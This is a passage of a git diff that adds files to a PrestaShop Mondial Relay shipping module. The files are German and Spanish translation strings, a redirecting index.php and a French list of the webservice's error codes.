Nummer'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'MR Land'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_428c091372d840900cf8536519fa0056'] = 'Exp Nummer'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Detail'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Produkt ansehen'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Erfolgreich abgeschlossen'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'Keine Bestelungen mit diesem Status'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = 'Erzeugen!'; +$_MODULE['<{mondialrelay}prestashop>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Aufkleber Verlauf'; +$_MODULE['<{mondialrelay}prestashop>history_d79cf3f429596f77db95c65074663a54'] = 'Bestellnummer'; +$_MODULE['<{mondialrelay}prestashop>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Exp Nr.'; +$_MODULE['<{mondialrelay}prestashop>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'A4 Aufkleber drucken'; +$_MODULE['<{mondialrelay}prestashop>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'A5 Aufkleber drucken'; +$_MODULE['<{mondialrelay}prestashop>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Verlauf löschen'; +$_MODULE['<{mondialrelay}prestashop>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Speichern'; +$_MODULE['<{mondialrelay}prestashop>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Einstellungen'; diff --git a/modules/mondialrelay2/docs/index.php b/modules/mondialrelay2/docs/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay2/docs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/errorCode.php b/modules/mondialrelay2/errorCode.php new file mode 100755 index 0000000..7b0e39c --- /dev/null +++ b/modules/mondialrelay2/errorCode.php @@ -0,0 +1,79 @@ + 'Enseigne invalide', + '2' => 'Numéro d\'enseigne vide ou inexistant', + '3' => 'Numéro de compte enseigne invalide', + '5' => 'Numéro de dossier enseigne invalide', + '7' => 'Numéro de client enseigne invalide', + '9' => 'Nom de ville non reconnu ou non unique', + '10' => 'Type de collecte invalide ou incorrect (1/D > Domicile -- 3/R > Relais)', + '11' => 'Numéro de Point Relais de collecte invalide', + '12' => 'Pays du Point Relais de collecte invalide', + '13' => 'Type de livraison invalide ou incorrect (1/D > Domicile -- 3/R > Relais)', + '14' => 'Numéro du Point Relais de livraison invalide', + '15' => 'Pays du Point Relais de livraison invalide', + '16' => 'Code pays invalide', + '17' => 'Adresse invalide', + '18' => 'Ville invalide', + '19' => 'Code postal invalide', + '20' => 'Poids du colis invalide', + '21' => 'Taille (Longueur + Hauteur) du colis invalide', + '22' => 'Taille du Colis invalide', + '24' => 'Numéro de Colis Mondial Relay invalide', + '29' => 'Mode de livraison invalide', + '30' => 'Adresse (L1) de l\'expéditeur invalide', + '31' => 'Adresse (L2) de l\'expéditeur invalide', + '33' => 'Adresse (L3) de l\'expéditeur invalide', + '34' => 'Adresse (L4) de l\'expéditeur invalide', + '35' => 'Ville de l\'expéditeur invalide', + '36' => 'Code postal de l\'expéditeur invalide', + '37' => 'Pays de l\'expéditeur invalide', + '38' => 'Numéro de téléphone de l\'expéditeur invalide', + '39' => 'Adresse e-mail de l\'expéditeur invalide', + '40' => 'Action impossible sans ville ni code postal', + '41' => 'Mode de livraison invalide', + '42' => 'Montant CRT invalide', + '43' => 'Devise CRT invalide', + '44' => 'Valeur du colis invalide', + '45' => 'Devise de la valeur du colis invalide', + '46' => 'Plage de numéro d\'expédition épuisée', + '47' => 'Nombre de colis invalide', + '48' => 'Multi-colis en Point Relais Interdit', + '49' => 'Mode de collecte ou de livraison invalide', + '50' => 'Adresse (L1) du destinataire invalide', + '51' => 'Adresse (L2) du destinataire invalide', + '53' => 'Adresse (L3) du destinataire invalide', + '54' => 'Adresse (L4) du destinataire invalide', + '55' => 'Ville du destinataire invalide', + '56' => 'Code postal du destinataire invalide', + '57' => 'Pays du destinataire invalide', + '58' => 'Numéro de téléphone du destinataire invalide', + '59' => 'Adresse e-mail du destinataire invalide', + '60' => 'Champ texte libre invalide', + '61' => 'Top avisage invalide', + '62' => 'Instruction de livraison invalide', + '63' => 'Assurance invalide ou incorrecte', + '64' => 'Temps de montage invalide', + '65' => 'Top rendez-vous invalide', + '66' => 'Top reprise invalide', + '70' => 'Numéro de Point Relais invalide', + '72' => 'Langue expéditeur invalide', + '73' => 'Langue destinataire invalide', + '74' => 'Langue invalide', + '80' => 'Code tracing : Colis enregistré', + '81' => 'Code tracing : Colis en traitement chez Mondial Relay', + '82' => 'Code tracing : Colis livré', + '83' => 'Code tracing : Anomalie', + '90' => 'AS400 indisponible', + '91' => 'Numéro d\'expédition invalide', + '94' => 'Colis Inexistant', + '95' => 'Compte Enseigne non activé', + '96' => 'Type d\'enseigne incorrect en Base', + '97' => 'Clé de sécurité invalide', + '98' => 'Service Indisponible', + '99' => 'Erreur générique du service. Cette erreur peut être dû autant à un problème technique du service qu\'à des données incorrectes ou inexistantes dans la Base de Données. Lorsque vous avez cette erreur veuillez la notifier à Mondial Relay en précisant la date et l\'heure de la connexion ainsi que les informations envoyés au WebService afin d\'effectuer une vérification.'); + +?> diff --git a/modules/mondialrelay2/es.php b/modules/mondialrelay2/es.php new file mode 100755 index 0000000..2f7f3ed --- /dev/null +++ b/modules/mondialrelay2/es.php @@ -0,0 +1,192 @@ +adminmondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Acción de éxito'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_3b2d373418745276ae6e207421245cdc'] = 'Estado de pedido ha sido actualizado'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'No se puede actualizar la cuenta de la tienda'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'Entregue sus envíos en un punto de recogida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_1889ea20d1343f376f5d52b6b8dc7a3f'] = 'Necesitas seleccionar un punto entrega antes de continuar en el siguiente paso.'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d2286c9c8c8f92cb0e805b17834591b0'] = 'Enseigne no válido '; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Código de marca no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Clave Webservice no válida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Idioma no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Coeficiente de peso no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Nombre del transportista no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Modo Col no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Modo de entrega no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Seguro no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'Debe elegir al menos un país de entrega'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Estado de pedido no válido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Acción de éxito'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_672facd73d4aee44c116cfd95298db87'] = 'El detalle de la cuenta se ha actualizado'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'No se puede actualizar la cuenta de la tienda'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea50be3d60be594e10e9e3560cb9159f'] = 'El método de envío se ha añadido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d0cfdfcfb71029b561f5ebdc176d87ca'] = 'Estado de envío cambiado correctamente'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_7534411af2e35bed1f79df5938f077f9'] = 'EL transportista ha sido borrado (desactivada en la base de datos prestashop)'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Nb expedición:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'Etiqueta de URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'Seguimiento de URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Nb Punto de Transición:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_aa625fced6f01ae595b6a9ac499c2ecf'] = 'Rango de peso no se puede añadir'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_63d15383121b5bb5c53323f3f96bd1f2'] = 'Rango de precios no se puede añadir'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d4d197dd028e28ae56208971b564921a'] = 'Zona predeterminada no se puede añadir'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_760ac6deb1c5b84321f65ba0c7f319f5'] = 'Datos de la zona Transportista o entrega no se añadira'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8bf569ff65b32464e623ca9e9a10688d'] = 'El transportista no puede crearse en Prestashop'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_6ed26bdf3f9141ddca4ede91f943e567'] = 'El metodo del transportista no puede agregarse al modulo'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_af135815ccf731bcbffb522004762b57'] = 'EL transportista no puede borrarse todavia'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Este error no se conoce:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Por favor, seleccione al menos un pedido'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Esta clave'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'está vacío y debe rellenarse'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_8184ba43565d0d65b7b1739f2cef25c8'] = 'Parece que la petición no es válida:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Hay un número de error :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detalles :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Envío Número:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'URL del ticket :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'URL de seguimiento:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_952a812236cabbd70b949ecb43f89c82'] = 'El webservice de Mondial Relay no es actualmente confiable'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Por favor comprueba la configuración del idioma'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Por favor comprueba la configuración del nombre de tu tienda'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Por favor, compruebe la configuracion de la dirección1'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Por favor, compruebe la configuración de su ciudad'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Por favor, compruebe la configuración de su código postal'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Por favor, compruebe la configuración de su país'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Por favor, compruebe la configuración de su teléfono'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Por favor, revise su configuración de correo'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_85e6a18230d49abf8cfe912809185258'] = 'Utilizando una versión PrestaShop menos de 1.4, nose puede validar el código postal'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'Dirección del cliente no se encuentra'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'La clave'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'no tiene un formato de valor válido'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Parece que la petición no es válida'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'Hay un número de error :'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detalles'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'MondialRelay no puede encontrar un punto de de recogida cerca de tu dirección. ¿puedes haber rellenado mal la dirección?'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'El webservice de Mondial Relay no es actualmente confiable'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Esta clave'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'no tiene un formato de valor válido'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Parece que la petición no es válida'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Hay un número de error:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detalles:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'El servicio web Mondial Relay no es seguro actualmente'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Desinstalación de Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Usted debe vuelver a intentar desinstalar el módulo, desea eliminar la base de datos'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Mantener y desinstalar'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Borrar y desinstalar'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'Suprimir'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Algunos artículos no se pueden quitar, por favor, inténtelo de nuevo'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Por favor, seleccione al menos un elemento'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'Cancelar'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'La clave'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'está vacío y debe ser llenado'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Parece que la petición no es válida'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'Hay un número de error:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detalles'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lunes'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Martes'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Miércoles'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Jueves'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Viernes'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Sábado'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Domingo'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'El servicio web Mondial Relay no es seguro actualmente'; +$_MODULE['<{mondialrelay}prestashop>checkout_process_836f6c949a2f2d61489bf410def82111'] = 'Mondial Relay no puede buscar cualquier punto de repetición debido a un error prestashop'; +$_MODULE['<{mondialrelay}prestashop>configuration_0f27e5e9020f28e3f31b78376e11d4c7'] = 'Mondial Relay Configuración'; +$_MODULE['<{mondialrelay}prestashop>configuration_8bc212f48680748479bbd322d4d73d3f'] = 'detalles de la cuenta'; +$_MODULE['<{mondialrelay}prestashop>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Envío'; +$_MODULE['<{mondialrelay}prestashop>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Ajustes avanzados'; +$_MODULE['<{mondialrelay}prestashop>configuration_326e057f57e830834c20d668e44627ef'] = 'Info'; +$_MODULE['<{mondialrelay}prestashop>configuration_29141d2b5a484e8032ef64339733f0dc'] = 'Por favor, ajuste la configuración de la cuenta Mondial Relay '; +$_MODULE['<{mondialrelay}prestashop>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Trata de desactivar la caché y forzar compilación para'; +$_MODULE['<{mondialrelay}prestashop>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'si usted tiene algún problema con el módulo después de una actualización'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = '¡Echa un vistazo a la siguiente HOW-TO para ayudarle a configurar el módulo deMondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'Para crear una compañía Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Entra y guarde los ajustes de la cuenta Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_b29c4694f835ad29b9893cd3fed36fbc'] = 'Crear un transportista con el botón de envío'; +$_MODULE['<{mondialrelay}prestashop>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Definir un precio para su compañía en el'; +$_MODULE['<{mondialrelay}prestashop>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'La página del transportista'; +$_MODULE['<{mondialrelay}prestashop>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Para generar las etiquetas, debe tener una dirección válida y registrada de su tiendaen su'; +$_MODULE['<{mondialrelay}prestashop>configuration_af5efea250326c1c34d69aa9364b482c'] = 'la página de contacto'; +$_MODULE['<{mondialrelay}prestashop>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Configuración de la cuenta Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Estos parámetros son proporcionados por Mondial Relay, una vez se ha suscrito a su servicio'; +$_MODULE['<{mondialrelay}prestashop>configuration_12a3fbd35c1cab4b1101b91d708efd15'] = 'Webservice Enseigne:'; +$_MODULE['<{mondialrelay}prestashop>configuration_6f0434b67007b555dfd1201f4e0d5254'] = 'Código de marca:'; +$_MODULE['<{mondialrelay}prestashop>configuration_08f785193c96b2a78dec8d76a46648d6'] = 'Clave del webservice:'; +$_MODULE['<{mondialrelay}prestashop>configuration_0dae2d7c71f2daaedb00191af25dc28d'] = 'Idioma de etiqueta:'; +$_MODULE['<{mondialrelay}prestashop>configuration_a26329cba9723551cb8654deba32872b'] = 'Coeficiente de peso:'; +$_MODULE['<{mondialrelay}prestashop>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'gramos = 1'; +$_MODULE['<{mondialrelay}prestashop>configuration_80eac24973917207249176589fb068ce'] = 'El método por defecto de pago se configurará de acuerdo al peso total.'; +$_MODULE['<{mondialrelay}prestashop>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Actualizar ajustes'; +$_MODULE['<{mondialrelay}prestashop>configuration_70397c4b252a5168c5ec003931cea215'] = 'Campos obligatorios'; +$_MODULE['<{mondialrelay}prestashop>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Configuración avanzada'; +$_MODULE['<{mondialrelay}prestashop>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL de tarea programada'; +$_MODULE['<{mondialrelay}prestashop>configuration_66661dacf33146201b60dc16520ddd68'] = 'Añadir un Método de envío'; +$_MODULE['<{mondialrelay}prestashop>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Nombre del transportista'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Retraso'; +$_MODULE['<{mondialrelay}prestashop>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Modo de entrega'; +$_MODULE['<{mondialrelay}prestashop>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Entrega a un punto de relevo'; +$_MODULE['<{mondialrelay}prestashop>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Envio Colis Drive'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Inicio de entrega RDC (1 persona)'; +$_MODULE['<{mondialrelay}prestashop>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'La entrega a domicilio Especial (2 personas)'; +$_MODULE['<{mondialrelay}prestashop>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'de seguros'; +$_MODULE['<{mondialrelay}prestashop>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'No tiene seguro'; +$_MODULE['<{mondialrelay}prestashop>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Seguro Complementario Lv1'; +$_MODULE['<{mondialrelay}prestashop>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Seguro Complementario Lv2'; +$_MODULE['<{mondialrelay}prestashop>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Seguro Complementario Lv3'; +$_MODULE['<{mondialrelay}prestashop>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Seguro Complementario Lv4'; +$_MODULE['<{mondialrelay}prestashop>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Seguro Complementario Lv5'; +$_MODULE['<{mondialrelay}prestashop>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Países de envío:'; +$_MODULE['<{mondialrelay}prestashop>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Usted puede elegir varios países presionando Ctrl mientras selecciona los países'; +$_MODULE['<{mondialrelay}prestashop>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'Francia'; +$_MODULE['<{mondialrelay}prestashop>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Bélgica'; +$_MODULE['<{mondialrelay}prestashop>configuration_06630c890abadde9228ea818ce52b621'] = 'Luxemburgo'; +$_MODULE['<{mondialrelay}prestashop>configuration_907eba32d950bfab68227fd7ea22999b'] = 'España'; +$_MODULE['<{mondialrelay}prestashop>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Lista de método de envío \\\\ \'s'; +$_MODULE['<{mondialrelay}prestashop>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'No hay métodos de envío creados'; +$_MODULE['<{mondialrelay}prestashop>configuration_daf999e234b6f358dda641bf381b685a'] = 'Envío de configuración'; +$_MODULE['<{mondialrelay}prestashop>header_e0626222614bdee31951d84c64e5e9ff'] = 'Seleccionar'; +$_MODULE['<{mondialrelay}prestashop>header_91b442d385b54e1418d81adc34871053'] = 'seleccionado'; +$_MODULE['<{mondialrelay}prestashop>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Por favor, elija un punto de relevo'; +$_MODULE['<{mondialrelay}prestashop>header_80a0c205cd57b22fca7f174253870300'] = 'Horario de apertura'; +$_MODULE['<{mondialrelay}prestashop>header_2b56b60f878922093facd42284848a0c'] = 'Más detalles'; +$_MODULE['<{mondialrelay}prestashop>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Enviado a'; +$_MODULE['<{mondialrelay}prestashop>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Siga mi paquete en la página web Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>post_action_466ec9f29b485204ef53818459da48af'] = 'error(es)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_8d63728960e021f7632a11922685705e'] = 'Gracias a la amabilidad de corregir los errores siguientes en'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_264f456c4202f0aba86e481a246a3ef1'] = 'la página de contacto:'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Todos los pedidos que tienen el estado'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'estará disponible para la creación de adhesivo'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_5dadbd0ec9f0b182be4ead8dad39da79'] = 'Lista de pedidos'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'ID pedido'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'cliente'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Precio total'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Total gastos de envío:'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Fecha'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Ponga un peso (en gramos)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'Número de MR'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'País MR'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_428c091372d840900cf8536519fa0056'] = 'Exp. Número'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Detalle'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Vista'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Operación exitosa'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'No hay pedidos con este estado.'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = '¡Generar!'; +$_MODULE['<{mondialrelay}prestashop>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Historial de creación de etiquetas'; +$_MODULE['<{mondialrelay}prestashop>history_d79cf3f429596f77db95c65074663a54'] = 'ID pedido'; +$_MODULE['<{mondialrelay}prestashop>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Exp. número'; +$_MODULE['<{mondialrelay}prestashop>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'Imprimir etiqueta A4'; 